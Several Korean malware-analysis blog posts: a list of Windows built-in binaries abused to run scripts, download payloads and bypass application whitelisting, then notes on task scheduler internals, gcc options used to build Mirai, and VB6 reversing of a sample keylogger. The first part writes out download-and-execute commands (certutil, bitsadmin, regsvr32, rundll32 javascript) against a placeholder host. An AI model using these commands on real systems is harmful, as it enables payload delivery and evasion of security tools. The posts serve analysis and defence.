  forfiles 자체는 현재 디렉터리의 모든 파일을 보여준다. /p 옵션을 통해서 특정 디렉터리를 지정할 수 있다. /m 옵션은 잘 모르겠는 것이 /c calc.exe를 빼고 실행하니 system32 디렉터리에서 찾은 "notepad.exe" 문자열만을 보여주는 것 같은데 문제는 이 "/m notepad.exe"가 꼭 필요한 것 같지 않아서 빼고 실행했더니 calc.exe를 무한 실행시킨다. 이유는 모르겠으나 저렇게 사용해야 할 것으로 보인다.





2. 스크립트 실행

  다음 링크 참조 [ http://sanseolab.tistory.com/41 ]


2.1 wscript.exe  /  cscript.exe

  JS, VBS 등의 스크립트 파일 더블 클릭 시 디폴트로 실행되어 해당 스크립트를 실행시켜주는 프로그램이다.



2.2 mshta.exe

  일반적으로 .hta 파일을 실행시키는데 사용된다. 

> mshta.exe aaa.hta


  이외에도 직접 VBS나 JS 코드를 실행시킬 수도 있다.

> mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")

> mshta.exe javascript:alert('test');





3. 파일 실행

3.1 msiexec.exe

  설치 파일인 .msi 파일을 실행시키면 msiexec.exe가 인스톨러 역할을 하여 설치가 진행된다. 추가 기능은 [ 4.1 항목 ] 참조

> msiexec.exe /i "aaa.msi"



3.2 rundll32.exe

  일반적으로 dll 파일을 실행시키는데 사용된다. 참고로 DLL 이름과 반점 이후 호출할 함수명을 쓸 때 띄어쓰기 없이 붙여야 실행이 가능하다. 그리고 함수명 대신 Ordinal 번호로 호출할 경우 #1 형태로 사용 가능하다.

> rundll32.exe aaa.dll,DllMain

> rundll32.exe aaa.dll,#1


  이외에도 자바스크립트를 실행시키는 방식도 최근 악용되고 있다.

> rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test');


  그리고 조금 더 수정해서 다운로더 형태로도 만들 수 있다.

> Rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject('script:http://aaa.com/data/aaa');



3.3 control.exe

  control.exe는 제어판 프로그램이며, 이유는 모르겠지만 DLL 실행이 가능하다. [ https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/ ]

> control.exe aaa.dll



3.4 InstallUtil.exe

  다른 용도보다는 Whitelist Bypass에 사용될 수 있다. Whitelist Bypass란 정상적으로 사인된 코드에서 실행됨으로써 보안 솔루션의 탐지를 회피하는 기법이다.


  csc.exe와 같이 사용되는데, 먼저 악성코드를 실행시킬 목적의 소스 코드를 제작한 후 csc.exe를 컴파일한다. 이후 컴파일된 실행 파일을 InstallUtil.exe로 실행시키는 방식이다. [ https://www.attackiq.com/blog/2018/05/21/application-whitelist-bypass/ ]

> csc.exe test.cs

> InstallUtil.exe /U test.exe





4. 다운로드

4.1 msiexec.exe

  .msi 파일이 꼭 로컬에 위치할 필요 없이 웹 서버에 올라와 있더라도 다운로드 후 설치가 진행된다. 다음 링크 참조 [ http://sanseolab.tistory.com/65 ]

> msiexec.exe /i "http://www.aaa.com/data/aaa.msi"



4.2 certutil.exe

  certutil -urlcache -split -f [URL] [output-file]

> certutil -urlcache -split -f "http://www.aaa.com/data/aaa.exe" "aaa.exe"


  또는 -decode 옵션을 통해 Base64 디코딩이 가능한 특징을 이용할 수도 있다. 즉 Base64로 인코딩된 PE를 다운로드 받은 후 디코딩까지 가능한 것이다.


> certutil.exe -urlcache -split -f "https://www.aaa.com/data/aaa.txt" bbb.txt

> certutil.exe -decode bbb.txt ccc.exe



4.3 bitsadmin.exe

  bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

> bitsadmin /transfer /download /priority HIGH "http://www.aaa.com/data/aaa.exe" "aaa.exe"



4.4 regsrv.exe

  다음 링크를 보면 외부 서버에 JScript를 포함한 sct 파일을 두고 아래의 명령어를 통해 실행시킨다. sct 파일은 링크의 예제와 같은 형태를 띄며 JScript나 VBScript를 포함할 수 있다. 그리고 scrobj.dll(Windows Script Component Runtime)은 윈도우에서 스크립트를 담당하는 엔진이라고 할 수 있다. [ https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ ]


> regsvr32.exe /s /u /i:http://www.aaa.com/data/aaa.sct scrobj.dll



4.5 cmstp.exe

  inf 파일을 만들고 내부에 url을 등록한다. 해당 url은 regsrv와 비슷하게 sct 파일이 들어있다. inf 파일 설정 예제는 다음과 같다. [ https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80 ]


  참고로 sct 파일 외에도 DLL 파일도 가능하다. [ https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/ ]


> cmstp.exe /s cmstp.inf





5. 컴파일

5.1 csc.exe

  .NET 컴파일러로서 닷넷 소스 코드를 생성한 후 이것을 가지고 바이너리를 만들고 실행할 경우 직접 바이너리를 다운로드 받을 필요가 없어진다.


> csc.exe /out:output.exe input.cs


  이것은 생성까지만이고 InstallUtil.exe와 같이 사용될 수 있다. 해당 항목 참조.


  굳이 위와 같이 간단하게 사용하는 것 보다 약간 응용한 방식도 존재한다. 먼저 다음과 같이 실행된다.


csc.exe /noconfig /fullpaths "aaa.cmdline"


  aaa.cmdline이라는 파일을 확인해 보면 여러 설정들이 들어있는 것을 볼 수 있다.


/t:library /utf8output /R:"System.Management.dll" /R:"System.dll" /R:"System.Drawing.dll" /R:"System.Core.dll" /out:"경로\bbb.dll" /D:DEBUG /debug+ /optimize- /optimize+ /platform:X86 /debug+ /target:winexe  "경로\ccc.cs"



5.2 msbuild.exe

  xml 파일 내에 인라인으로 악성 코드를 작성한다. 참고로 언어는 C#이며 미미카츠의 경우처럼 실제 악성 행위를 하는 부분은 셸코드로 작성할 수도 있다. 어쨌든 exe 형태가 아닌 xml 형태로 존재하게 되며 이후 msbuild.exe의 인자로 작성한 xml 파일을 넣으면 해당 코드가 실행된다. 다음은 예제 코드이며 직접 코드를 수정하여 테스트할 수 있다. 미미카츠에서 사용된 셸코드 형태도 검색하면 쉽게 찾을 수 있을 것이다.

[ https://gist.github.com/Arno0x/e2b63b5d868d54724123f31cc39e4b21 ]


> msbuild.exe test.xml





6. 기타

6.1 SyncAppvPublishingServer.exe

  다음은 더 찾아본 후 테스트해 볼 예정이다. [ https://safe-cyberdefense.com/malware-can-use-powershell-without-powershell-exe/ ]


> SyncAppvPublishingServer.exe "Break; Start-Process Calc.exe"



6.2 winrm.exe

  디폴트로 enabled되어 있지 않으므로 생략한다.



6.3 odbcconf.exe

  더 찾아본 후 테스트해 볼 예정이다.


> odbcconf /s /a {regsvr \\www.aaa.com/data/aaa.exe}



6.4 regasm.exe  /  regsvc.exe

  더 찾아본 후 테스트해 볼 예정이다.


> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\www.aaa.com/data/aaa.exe



6.5 Mavinject.exe

  실행 중인 프로세스에 DLL은 인젝션할 수 있게 해준다. 해당 파일이 존재하지 않아서 테스트를 해보지 못했다.


> MavInject.exe <PID> /INJECTRUNNING <PATH DLL>



'악성코드 분석' 카테고리의 다른 글

[Tool] ejExtractor  (0) 2018.12.10
윈도우의 서비스  (0) 2018.11.03
윈도우의 작업 스케줄링 및 기타  (1) 2018.09.30
GCC 사용법  (0) 2018.07.19
Visual Basic 6.0 바이너리 분석  (0) 2018.06.03
Posted by SanseoLab



0. 개요

1. mmc

2. 작업 스케줄러

3. taskhost.exe

4. etc





0. 개요

[ http://sanseolab.tistory.com/18 ]

  서비스의 경우 위의 링크에서 정리하였지만 그래도 윈도우의 시스템과 관련해서는 아직도 제대로 개념이 잡히지 않은 부분이 많다. 예를들어서 taskhost.exe나 taskeng.exe는 무엇이고, schtasks.exe는 어떻게 동작하는지 등등이다. 또한 svchost.exe는 서비스 외에도 작업 스케줄링과 관련해서도 사용된다는 것을 알게 됨으로써 헷갈리는 것만 늘어나서 확실한 정리가 필요했다. 물론 지금도 완벽하게는 파악하지 못했지만 그래도 나름의 분류를 하게 되었고 더 자세한 내용은 추후에 추가하겠지만 이 정도로도 우선은 헷갈리는 부분은 정리가 된 것 같아서 블로그에 올리려고 한다.





1. mmc

  먼저 mmc.exe와 관련한 정리다. 이것은 UAC Bypass에서도 자주 나오므로 겸사 겸사해서 정리하기로 하였다. 만약 실행 창에서 "서비스"나 "작업 스케줄러"를 실행시키면 실제로는 mmc.exe가 실행되는 것을 확인할 수 있다. 물론 아이콘이라던지 UI는 다르지만 유사한 것을 확인할 수 있다.


  정확히는 "서비스"의 경우 다음과 같이 실행된다.

"C:\Windows\system32\mmc.exe" "C:\Windows\system32\services.msc" 


  그리고 "작업 스케줄러"는 다음과 같다.

"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s


  mmc.exe 즉 Microsoft Management Console은 snap-in이라고 불리는 COM 객체들을 호스트할 수 있다. 위에서 본 것과 같이 대부분의 MS 관리 도구들은 MMC snap-in들로 구현되어 있다. 스냅인은 .msc 확장자를 가지며 mmc의 인자로 사용된다. 참고로 스냅인들은 다음 레지스트리에 등록되어 있다고 한다.

[HKEY_CLASSES_ROOT]\{CLSID}

[HKEY_LOCAL_MACHINE\Software\Microsoft\MMC\Snapins]





2. 작업 스케줄러

  위에서 "작업 스케줄러"를 실행시키면 mmc를 통해 taskschd.msc를 인자로 받아서 GUI 형태의 관리 프로그램이 실행되는 것을 확인하였다. 이것은 mmc 기반으로 관리자를 위한 GUI 형태로 제공되는 것으로 보이며 커맨드 라인 프로그램으로는 schtasks.exe와 at.exe가 있다. at.exe는 deprecated 된 것으로 취급되므로 schtasks.exe만 보기로 한다.


  다음 간단한 예제를 이용해서 작업을 등록해 보았다.

> schtasks.exe /Create /TN "Hello" /ri 1 /st 15:58 /du 9999:59 /sc daily /f /TR C:\Windows\System32\cmd.exe


  이후 실행 과정을 보면 "svchost.exe -k netsvcs"로 실행된 svchost.exe가 taskeng.exe를 실행시키는 것을 확인할 수 있다. 앞의 서비스 관련 개념과 연관해서 봤을 때 작업 스케줄링을 전담하는 서비스가 있는 것 같다.


  이 때 인자로 다음과 같이 준다.

taskeng.exe {xxxx252E-5AFA-xxxx-8BD7-9E914C08xxxx} S-1-5-21-xxxx556725-xxxx805062-xxxx730372-1000:PC090\xxxx:Interactive:[1]


  시간이 되면 taskeng.exe는 cmd.exe를 실행시키게 된다. 참고로 taskeng.exe 및 하위 프로세스는 관리자 권한이며 svchost.exe는 시스템 권한이다.


  더 자세히 설명하기 위해 먼저 svchost.exe의 행위부터 보겠다. 이것은 다음 레지스트리 키를 생성한다.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{xxxx252E-5AFA-xxxx-8BD7-9E914C08xxxx}\data


  데이터를 보면 바이너리 형태이기도 해서 그냥 그렇다는 것만 확인하였다. 그리고 Hello라는 이름의 파일을 \system32\Tasks 폴더에 생성한다. 해당 파일을 확인해 보니 xml 형태로서 작업 스케줄링과 관련된 내용들이 들어가 있다. 즉 시간이라던지 경로명 등의 정보들이다.


  이후 taskeng.exe를 실행시킨다. taskeng.exe는 "Task Scheduler Engine"으로서 하며 작업 관리자에 의해 실행되고, svchost.exe에 의해 호스트되는 프로그램이다. 이것은 앞에서 생성한 레지스트리 키를 읽고(더 확인해야 한다), 그리고 앞에서 생성한 Hello 파일을 읽는다. 이후 이것을 참조하여 cmd.exe를 실행시킨다.


  참고로 현재 환경은 윈도우 7이었는데, 윈도우 10에서는 svchost.exe -k netsvcs가 taskeng.exe를 실행시키고 taskeng.exe가 실제 cmd.exe를 실행시키는 방식이 아닌, svchost.exe -k netsvcs가 taskeng.exe를 거치지 않고 cmd.exe를 직접 실행시키는 방식으로 변경되었다.


  그리고 .job 파일과 관련해서 찾아보니, 과거 악성코드 기록에서 "\system32\tasks\에 {35DC3473-A719-4d14-B7C1-FD326CA84A0C}.job" 및 "{8C3FDD81-7AE0-4605-A46A-2488B179F2A3}.job" 파일을 만든다고 하는 것을 보면, 해당 폴더에 작업 이름(Hello)으로 생성한 것과는 차이가 있는데 (.job 확장자 외에도 작업 이름 대신 레지스트리 이름이 들어감) 단순한 버전 차이인지는 모르겠다.





3. taskhost.exe

  참고로 프로세스 익스플로러를 보면 wininit.exe의 자식으로 services.exe가 실행 중인 것을 확인할 수 있다. 이 services.exe 아래에는 여러 exe들과 다수의 svchost.exe가 존재한다. 상당 수의 svchost.exe는 위의 링크에서 볼 수 있듯이 서비스와 관련된 것들이다. 사실 여기서 굳이 이 내용을 언급하는 것은 services.exe의 자식 프로세스들 중에서 svchost.exe 외에도 다른 exe들 중에는 taskhost.exe도 있다는 것을 말하기 위함이다.


  이것은 "WIndows 작업을 위한 호스트 프로세스"로서 윈도우 7에서는 taskhost.exe이지만, 윈도우 8에서는 taskhostex.exe, 윈도우 10에서는 taskhostw.exe이다. 어쨌든 exe 형태가 아닌 dll 형태의 작업들을 위한 호스트 프로세스라고 한다. 서비스의 경우 svchost.exe와 비슷해 보인다. 참고로 Process Explorer에서 마우스 커서를 대보면 "Tasks:" 아래에 로드된 작업으로 추정되는 것들이 다음과 같이 나오는 것을 확인할 수 있다.

Microsoft PlaySoundService Class [\Microsoft\Windows\Multimedia\SystemSoundsService]

MsCtfMonitor task handler[\Microsoft\Windows\TextServicesFramework\MsCtfMonitor]





4. etc

  작업 관리자 즉 Task Manger는 taskmgr.exe이다.



Posted by SanseoLab

2018. 7. 19. 23:36 악성코드 분석

GCC 사용법

1. 개요

2. 실행 파일

.... 2.1 간략한 부분

.... 2.2 실제 예제

3. 라이브러리

.... 3.1 정적 라이브러리

.... 3.2 동적 라이브러리





1. 개요

  gcc의 옵션은 매우 다양하지만 여기서는 악성코드 분석에 도움이 될 정도의 내용만 적기로 한다. 즉 자세한 내용은 생략하며 필요한 부분의 경우에는 실제 예제와 함께 설명하도록 한다.


  전체적인 구성은 옵션을 따로 정리한다던가 하지 않고 간단한 것부터 시작해서 하나 하나 추가해 나갈 것이다. 옵션만 따로 정리하는 방식 자체도 중요하겠지만 개발 위주가 아니므로 간략한 개발 및 필요한 부분에 대한 빠른 복붙을 목적으로 하겠다.


  하지만 언제 필요할지 모르므로 간략한 배경지식은 언급하기로 한다. GCC의 경우 간단한 컴파일러로 생각할 수 있지만 사실 순서대로 다음의 명령을 호출하는 역할을 담당하는 프로그램이라고 생각하면 된다. 가장 먼저 전처리기인 cpp0가 사용되며 이를 통해 전처리 단계가 진행된다. 이후 실제 컴파일러인 cc1이 컴파일 과정을 담당한다. 그리고 어셈블러인 as가 어셈블 단계를 진행하고 이에 따라 목적 파일이 생성된다. "gcc -c" 옵션을 사용하는 경우 어셈블 단계까지만 진행되고 이후 .o 파일이 생성된다. 마지막으로 링크 단계인데 이것은 링커인 ld가 맡는다.





2. 실행 파일

2.1 간략한 부분


$ gcc hello.c

  c 소스 코드인 hello.c를 컴파일하여 실행 파일인 "a.out"이 생성된다. 생성되는 파일 이름을 지정해주지 않았기 때문에 디폴트로 "a.out"이라는 실행 파일이 생성되는 것이다.


$ gcc -o hello hello.c

  구체적으로 생성되는 파일명 즉 "hello"를 지정해 준다.


$ gcc -c main.c func1.c func2.c

$ gcc -o hello main.o func1.o func2.o

  이것은 위에서 설명했듯이 -c 옵션을 이용해 목적 파일인 .o 파일들을 생성한다. 이후 목적 파일들을 모두 링크하는 방식이다.


  참고로 헤더 파일을 인클루드할 때 다음과 같이 두 가지의 방식이 사용된다.

#include "sum.h"

#include <stdio.h>

  여기서 ""는 현재 폴더에서, <>는 표준 include 디렉터리에서 헤더 파일을 찾으라는 것을 의미한다. -l 옵션을 이용하면 구체적으로 찾을 위치를 명시할 수 있다.

$ gcc -I/home/sanser/include -o hello hello.c



2.2 실제 예제

2.2.1 mirai의 loader

$ gcc -static -O3 -lpthread -pthread src/*.c -o loader


  미라이의 loader는 컴파일 시 위와 같은 옵션이 사용된다. "-static" 옵션은 정적으로 컴파일하라는 옵션이다. 이 옵션이 없으면 디폴트로 동적으로 컴파일 된다. -O 옵션의 경우 0부터 4까지 존재하며 숫자가 커질수록 더 강한 최적화가 진행된다. 


  마지막으로 "-lpthread", "-pthread" 옵션이 있다. pthread 관련 헤더를 소스 코드 상에서 include하였음에도 불구하고 이러한 옵션이 사용되는 이유는 컴파일 시에 해당 라이브러리가 사용되었다는 것을 알 수 있지만 링커에게도 pthread 라이브러리가 사용되었다는 사실을 알려야 하기 때문이다. 문제는 l 유무의 차이이다. 사실 위에서 -l이 헤더 파일의 위치를 지정할 때 사용된 적이 있었다. 하지만 여기서는 조금 다른 의미인 것 같다. 그냥 -pthread만 사용할 시에는 컴파일러와 링커에게 모두 알리는 것이며, -lpthread를 사용하면 링커에게만 알리는 것이라고 한다. 사실 정확히 구체적으로 둘 중 무엇을 언제 사용해야 하는지나 장단점, 그리고 여기에서 사용되었듯이 두 개를 모두 사용하는 이유 등은 파악하지 못했다. 참고로 -include 옵션도 헤더 파일 경로를 지정하는데 사용된다고 한다.



2.2.2 mirai의 bot

  자동화를 위해 함수로 구현되어 있다. 그래서 $1, $2, $3을 인자로 받는다. 여기서는 디버그 옵션 말고 릴리즈 옵션 기준으로 설명하겠다.


$ gcc -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"


  $3은 소스 코드를 봤을 때 "-DMIRAI_TELNET -DKILLER_REBIND_SSH -static" 또는 "-DMIRAI_SSH -DKILLER_REBIND_SSH -static"를 의미한다. 옵션은 "-D"이며 뒤에 붙은 문자열은 #define 값이다. 즉 소스 코드에서 "#ifdef MIRAI_SSH  ....  #else  ....  #endif" 같은 #define 구문을 사용되었을 때 gcc의 경우 커맨드 라인으로 #define을 지정할 수 있는 것이다.


  "-static"이나 "-O3", "-o release/"$2"" 부분은 위에서 언급하였다. 함수로 구현되어 있기 때문에 $2에는 컴파일 결과 바이너리의 이름을 인자로 넣는다. "-std=c99"는 C언어의 C99 표준을 의미한다. "-fomit-frame-pointer"는 프레임 포인터가 필요하지 않은 함수에서까지 프레임 포인터 레지스터를 사용하지 않겠다는 의미이다. 일반적으로 우리가 보는 함수들은 스택 프레임을 설정하는데 예를들어 "push ebp", "mov ebp, esp"를 이용해 시작하는 것이 그것이다. 이것을 사용할 경우 디버깅이 쉽거나 하지만 작은 함수에서는 스택 프레임이 꼭 필요하지 않으며 이러한 경우처럼 항상 스택 프레임을 만들지 않겠다는 의미이다.


  "-fdata-sections" 옵션과 "-ffunction-sections" 옵션은 컴파일러에게 함수나(코드) 데이터를 해당 섹션에 위치시키라는 의미이다. 이 옵션을 사용하지 않는 경우에는 임의의 섹션에 코드나 데이터가 들어갈 수 있다. 하지만 이 옵션을 이용해 해당 섹션에 강제로 위치시킬 수 있다. 이것은 다음에 나오는 링커 옵션과 연관시켜 설명하겠다.


  "-Wl" 옵션은 이후 링커에게 옵션을 주겠다는 의미이다. 즉 다음에 나오는 "--gc-sections" 옵션이 링커가 받는 옵션이다. 이 옵션은 사용되지 않는 섹션을 만들지 마라는 의미이다. 앞에서 나온 "-fdata-sections" 옵션과 "-ffunction-sections" 옵션으로 코드와 데이터를 임의의 섹션에 위치할 가능성을 없애고 이 옵션을 사용함으로써 안전하게 사용되지 않는 섹션을 제거하는 것이다. 앞에서 정적으로 링크함에 따라 크기가 커지는데 이 옵션을 통해 최대한 크기를 줄이는 목적을 가지고 있다.



2.2.3 strip

  gcc 관련 내용이지만 악성코드 분석에는 strip 또한 중요하므로 여기에서 언급하기로 한다. mirai의 bot은 컴파일 이후 strip 명령 또한 사용한다. 약간 수정하면 다음과 같다.


$ strip release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr


  반복되는 내용이 많으므로 실제로 볼 것은 몇 개 없다. 먼저 "-S" 옵션은 디버그 심볼을 삭제하는 옵션이다. 참고로 모든 심볼을 삭제하는 옵션은 "-s"이며 링커 옵션으로 "-s" 옵션이 존재하는데 이것도 실행 파일에서 심볼 테이블을 제거하라는 의미이다. "--remove-unneeded"는 이름과 같이 사용되지 않는 심볼을 삭제하라는 명령이다. "--remove-section="은 섹션 자체를 삭제하는 옵션이다. 정적으로 컴파일한 경우 용량이 상당히 커지기 때문에 앞의 gcc 옵션부터 시작해서 크기 관련한 최적화에 상당히 공을 들인 것으로 보인다.





3. 라이브러리

  윈도우와 마찬가지로 리눅스도 정적 라이브러리와 동적 (공유) 라이브러리가 존재한다. 정적 라이브러리의 경우 윈도우는 ".lib" 확장자를 갖으며 리눅스에서는 통상 이름 앞에는 "lib"을, 뒤에는 ".a"를 붙인다. 동적 라이브러리의 경우 윈도우는 ".dll" 확장자를 갖으며 리눅스에서는 이름 앞에는 "lib"을, 뒤에는 ".so"를 붙인다.



3.1 정적 라이브러리

  앞에서도 언급하였듯이 정적 라이브러리는 libxxx.a라는 형태를 가진다. 일반적으로 다음과 같이 사용한다.


$ gcc -c test1.c test2.c

// test1.o, test2.o 생성

$ ar rc libtest.a test1.o test2.o

// test1.o, test2.o 목적 파일을 가지고 libtest.a라는 정적 라이브러리를 만든다. 정적 라이브러리를 만들 때는 gcc가 아닌 ar이라는 프로그램을 사용한다. r은 이 라이브러리 아카이브에 새로운 오브젝트를 추가할 것이라는 옵션이고 c는 아카이브가 존재하지 않을 경우 생성하라는 옵션이다.

$ gcc -o hello hello.c -L./ -llibtest.a

// 만든 라이브러리를 링크하려면 해당 라이브러리의 위치를 가르쳐줘야 하는데, -L로 디렉토리의 위치를, -l로 라이브러리의 이름을 명시해야 한다.

$ ar t libtest.a

// t는 해당 라이브러리가 어떤 오브젝트 파일을 포함하고 있는지를 보여준다.



3.2 동적 라이브러리

  앞에서도 언급하였듯이 동적 라이브러리는 libxxx.so라는 형태를 가진다. 일반적으로 다음과 같이 사용한다.


$ gcc -fPIC -c test1.c test2.c

// test.o를 생성하는데 위치 독립적인 코드를 만들기 위해 -fPIC 옵션을 준다.

$ gcc -shared -o libtest.so test1.o test2.o

// test1.o, test2.o를 이용해 litest.so 파일을 생성하며, 동적 라이브러리를 만들 때는 gcc에 옵션으로 -shared를 준다. 

$ gcc -o hello hello.c -L./ -ltest

// 동적 라이브러리의 경우 -l 뒤에 "test" 같이 이름만 붙이나 보다.


  참고로 라이브러리를 사용할 때 에러가 뜰 수 있는데 이 때는 etc/ld.so.conf에 경로를 설정한 후 ldconfig로 캐시를 갱신하면 된다. 이 설정 파일은 "include ld.so.conf.d/*.conf"라고 되어 있는데 저 디렉토리에 test.conf라는 파일을 만들고 그냥 내가 만든 라이브러리의 경로만 적어주면 된다. 또는 LD_LIBRARY_PATH 환경변수를 이용하여 설정할 수 있다. export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/me/ 이런 식으로 해주면 된다. 아니면 심볼릭링크를 걸어서 해도 된다.





* 라이브러리 관련 환경 변수

  리눅스에서 공유 라이브러리는 /usr/lib 또는 /usr/lib64에 저장된다. 이곳에 libc.so.6 같은 파일들이 저장되어 있다. 참고로 라이브러리는 관례 상 접두어 lib와 이름 그리고 .so, 마지막으로 버전 번호로 이루어진다. 공유 라이브러리를 호출하기 위해서는 PATH를 지정해야 한다. 로더는 LD_LIBRARY_PATH 환경 변수 또는 ld.so.conf에 명시된 디렉토리에서 라이브러리를 찾아서 로드한다. ldconfig 명령어는 /etc/ld.so.conf 파일에 설정된 동적 라이브러리 정보를 /etc/ld.so.cache 파일로 만들어 주는 일을 하는데 이것은 로더가 ld.so.cache 정보를 가지고 더 빠르게 라이브러리를 찾을 수 있게 한다.


Posted by SanseoLab



1. 개요

2. 예제 소스 코드

3. N-Code ( Console Program )

4. P-Code

5. N-Code ( GUI Program )

6. 기타 링크





1. 개요

  VB 리버싱 관련 내용을 찾아보면 크랙미 분석이 대부분이다. 또한 이것도 거의 전부 Event 관련된 내용이라서 사용될만한 API에 BP를 걸고 진행한 후 문자열 비교 같은 내용만 다룬다. 그래서 여기에서는 전체적인 구조를 공부하고 정리하려고 한다.


  먼저 VB의 경우 컴파일 방식에 따라 P-Code, N-Code로 나뉜다. P-Code 방식은 Pseudo Code로서 바이트코드로 컴파일되어 인터프리터에 의해서 해석되면서 실행되는 방식이다. Java나 C#과 비슷한 형태이다. N-Code는 Native Code로서 일반적인 실행 파일처럼 어셈블리를 통해 해석할 수 있는 방식이다. 물론 VB의 경우 MSVBVM60.dll 같은 VB 엔진에 의해서 실행되기 때문에 바로 스텁을 지나 Main()으로 가는 일반적인 실행 파일과는 차이점이 존재한다.





2. 예제 소스 코드

  N-Code 방식을 공부하려고 했는데 역시 리버싱은 직접 만들어가면서 분석해 보는 것이 가장 좋은 것 같다. 그래서 다음 링크의 소스 코드를 이용했다. 직접 보면 알겠지만 이것은 간단한 형태의 키로거이다. 물론 실제 악성코드는 아니고 메시지 박스를 보여주며 간단한 기능만 포함된 샘플 예제 형태이다. "하지만 악의적인 용도로 사용할 경우 불법이므로 테스트 용도로만 사용해야 한다." 이 샘플은 적당한 크기의 코드이기도 하고 API를 직접 호출하는 부분도 있어서 컴파일해 가면서 분석하기로 했다.

[ http://freesourcecode.net/vbprojects/28938/SpyEx-(Keylogger)-in-Visual-Basic#.WxKaL0iFM2x ]


  해당 소스 코드 또한 GUI 형태이기 때문에 직접 Console 형태로 변환하였다. 일반적인 프로젝트를 생성하면 (표준 EXE) Form이 한 개 생성된다. 이것을 삭제하고 대신 Module을 하나 추가한다. 그리고 해당 링크의 Module1.bas의 소스 코드를 복사해서 붙여넣기 한다. 이후 첫 줄의 Attribute 라인을 삭제하고 다음을 추가한다. 원래 메시지 박스에서 버튼을 클릭했을 때 구현되는 방식이지만 Console 프로그램 형태로 만들기 위해 Form을 삭제하고 직접 호출하는 부분을 추가한 것이다. 수정 후 (일반적인 Visual C++과는 다르게) "파일" 탭에서 "Project1.exe 만들기" 버튼을 클릭해서 exe를 생성한다.


Sub Main()

    Call startup

    Call KeyboardHook

    Call Unhook

End Sub





3. N-Code ( Console Program )

  디버깅 이전에 정적 분석부터 진행해 보자. Import Table을 보면 MSVBVM60.DLL의 여러 함수들이 정의되어 있는 것을 볼 수 있다. 문제는 소스 코드에서 사용된 API 함수들은 보이지 않는다는 점이다. 대신 String을 확인해 보면 해당 API 함수 이름을 확인할 수 있다. 그 이유는 다음에서 살펴볼 API 함수 호출 방식에 대해서 정리하면서 확인해볼 수 있다.


  Ollydbg로 분석을 시작해 보자. 전형적인 VB의 EP를 볼 수 있다.



  특정 구조체를 push한 후 ThunRTMain()을 호출한다. 이 함수는 스텁 코드와 비슷한 역할을 하는데 여러 정보가 담긴 구조체를 기반으로 초기화를 진행한 후 실제 실행이 진행된다. 문제는 그냥 F8을 눌러버리면 끝까지 진행되기 때문에 실제 EP를 찾아야 한다. EP는 해당 구조체 0x00401354에서 오프셋 +2c에 위치한다. 즉 0x00401380에 위치한 0x00401c80이다. 그 외에도 VB5! 등의 시그니처로 시작하는 것을 확인할 수 있다.


  EP에 BP를 걸고 진행해도 되지만 어차피 직접 진행하다 보면 다음과 같이 EP로 분기하는 루틴을 만날 수 있다.



  어쨌든 EP로 가면 다음과 같은 프로시저를 볼 수 있다. 이것이 Main 함수이며 소스 코드를 보면 알겠지만 Main 함수는 3개의 함수를 호출한다. 각각의 함수로 진입해서 확인해보면 알겠지만 개발자가 정의한 프로시저의 경우 이러한 구조를 띄는 것 같다. 물론 Main() 함수는 간단하므로 프로시저도 훨씬 간단하다.



  그 외의 추가 사항을 보자면 프로시저 호출 이후에는 항상 MSVBVM60.__vbaFreeVar()을 호출하는 것으로 보인다. 그리고 인자는 (객체 지향 언어이기 때문에 클래스로 추정된다) 기본적으로 1개이며 인자가 1개 늘어날 때 마다 1개씩 더 추가되는 것으로 보인다. 더 자세한 분석을 위해 각각의 함수로 들어가 보자.


  사실 startup() 함수가 조금 더 복잡한 형태이고, KeyboardHook() 함수의 경우도 자체는 간단하지만 인자 설정과 관련된 내용이 있으므로 가장 간단한 Unhook() 함수부터 살펴보겠다.



  앞의 Main() 함수의 프로시저와 비슷한 형태이다. 확인해 볼 부분은 0x004027F7의 호출문이다. 소스 코드를 보면 알겠지만 이 함수에서는 VB의 함수가 아니라 API를 사용하였다. VB에서 API가 사용될 경우 어셈블리에서 어떻게 보여지는지를 확인하기 위해 이 부분을 살펴보자. 여기에서 의미 있는 함수 호출은 이 부분밖에 없으며 당연히 이 함수 호출이 API UnhookWindowsHookEx()와 관련된 부분을 것이다. 참고로 자세하게 다루지 않았지만 함수 0x00401750 호출 이전에 이 API 함수에 대한 인자가 설정될 것이고 그것을 확인할 수 있다. 여기서는 API 함수 호출 부분을 중점적으로 보겠다.



  0x00401750 함수가 위치한 부분을 위아래로 확인해 보면 이것과 유사한 함수들을 많이 확인할 수 있다. 이 부분만 확실히 보면 이제 직접 API 함수 호출 부분을 찾아나갈 수 있고 추후에 자동화할 수도 있을 것이다.


  MSVBVM60.DllFunctionCall() 함수를 호출하기 전에 특정 주소를 push한다. 이 주소를 확인해 보면 구조체인 것으로 추정되며 두 개의 주소를 멤버로 갖는다. 각각의 주소는 문자열을 가리키는데 첫 번째는 DLL 이름을 그리고 두 번째는 API 함수 이름을 가리킨다. 즉 API 호출 부분이 존재할 경우 이러한 형태의 프로시저가 삽입되며 이것은 호출할 API 함수의 문자열을 가리키는 구조체를 인자로 넣고 DllFunctionCall()을 호출한다. 이 함수는 해당 API 함수의 주소를 EAX 레지스터에 반환하며 마지막으로 "JMP EAX"를 호출하여 API 호출이 완료된다. 참고로 인자의 경우 앞에서 언급하였듯이 0x00401750 호출 이전에 이미 설정되어 있었다.


